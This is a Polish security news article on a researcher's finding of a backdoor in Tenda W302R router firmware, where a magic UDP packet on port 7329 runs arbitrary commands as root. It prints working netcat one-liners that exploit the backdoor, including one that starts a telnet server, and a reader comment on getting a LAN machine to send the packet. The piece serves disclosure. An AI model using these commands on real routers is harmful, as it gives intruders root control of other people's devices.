18.10.2013 | 11:45

Adam Haertle

Kolejna tylna furtka w ruterach – wystarczy magiczny pakiet UDP

Autor odkrycia tylnej furtki w ruterach D-Linka tym razem zabrał się za sprzęt firmy Tenda. Jak się domyślacie, czytacie ten artykuł, ponieważ tam również znalazł fragment kodu odpowiedzialny za wykonywanie nieautoryzowanych poleceń.

O ile furtka w ruterach D-Linka była dość trywialna (wymagała jedynie zmiany parametru User Agent), to tym razem mamy do czynienia z dużo bardziej wyrafinowanym mechanizmem. Craig, autor wpisów w serwisie /dev/ttyS0, zajął się najnowszym oprogramowaniem rutera Tenda W302R. Tradycyjnie rozpakował aktualizację oprogramowania i zlokalizował plik binarny serwera httpd. Tym razem producent skorzystał z serwera GoAhead, który został poddany znacznym modyfikacjom.

Craig zaczął od ciekawej obserwacji – przed uruchomieniem procesów obsługi żądań http, serwer wykonuje dość niestandardowe operacje w osobnym wątku. Po pierwsze, zaczyna nasłuchiwać pakietów UDP na porcie 7329. Brzmi to co najmniej interesująco. W kolejnym kroku proces odczytuje po 128 bitów z portu, czekając na komunikację.  Otrzymany pakiet jest analizowany, a najważniejszym etapem tej analizy jest weryfikacja, czy pakiet zaczyna się od ciągu „w302r_mfg”.

Weryfikacja "magicznego ciągu" (źródło: dev/ttyS0)

Weryfikacja „magicznego ciągu” (źródło: dev/ttyS0)

W kolejnym kroku proces sprawdza, jakie otrzymał polecenie. Jeśli zawiera ono znak „e”, proces odpowiada stałym ciągiem, wykonując coś w rodzaju polecenia „ping”. Jeśli jednak jest to znak „x”, to umożliwia on… wykonanie dowolnego polecenia z uprawnieniami roota. Proces jest tak uprzejmy, że odpowiedź serwera przesyła na adres nadawcy pakietu. Znając tę sprytną metodę, możemy wykorzystać tylną furtkę za pomocą zwykłego netcata.

$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x    2 0        0            1363 webroot
drwxr-xr-x    1 0        0               0 var
drwxr-xr-x    5 0        0              43 usr
drwxr-xr-x    1 0        0               0 tmp
drwxr-xr-x    2 0        0               3 sys
drwxr-xr-x    2 0        0             569 sbin
dr-xr-xr-x   39 0        0               0 proc
drwxr-xr-x    2 0        0               3 mnt
drwxr-xr-x    1 0        0               0 media
drwxr-xr-x    4 0        0             821 lib
lrwxrwxrwx    1 0        0              11 init -> bin/busybox
drwxr-xr-x    2 0        0               3 home
drwxr-xr-x    7 0        0             154 etc_ro
drwxr-xr-x    1 0        0               0 etc
drwxr-xr-x    1 0        0               0 dev
drwxr-xr-x    2 1000     100           574 bin

Zamiast wykonywać wszystkie polecenia za pomocą tylnej furtki, można tez po prostu uruchomić serwer telnet poleceniem

echo -ne "w302r_mfg\x00x/bin/busybox telnetd | nc -u -q 5 192.168.0.1 7329

Jest tylko jeden drobny szczegół – tylna furtka działa tylko na interfejsie LAN, zatem musimy znajdować się w tej samej sieci, co ofiara. Inny badacz zweryfikował, że ciąg odpowiedzialny za weryfikację pakietu znajduje się we wszystkich aktualnych wersjach oprogramowania obecnie wspieranych ruterów Tenda.

Powrót

Komentarze

  • 2013.10.18 12:27 ODD

    „…można tez po prostu ” wyp.. ten router.

    Odpowiedz
    • 2013.10.18 12:53 Cooper

      Nie do końca, furtka działa tylko z LAN’u. Intruz musi być w twojej sieci. Z Internetu się nie da.

      Odpowiedz
      • 2013.10.19 11:51 chesteroni

        Wszystko się da, trzeba tylko znaleźć komputer w danej sieci i skłonić go do wykonania tego netcata/czegoś analogicznego.

        Odpowiedz
      • 2013.10.23 00:57 adrb

        To żadne pocieszenie, jedynie drobna przeszkoda a możliwości dla atakującego ogromne.

        Odpowiedz

Zostaw odpowiedź

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Kolejna tylna furtka w ruterach – wystarczy magiczny pakiet UDP

Komentarze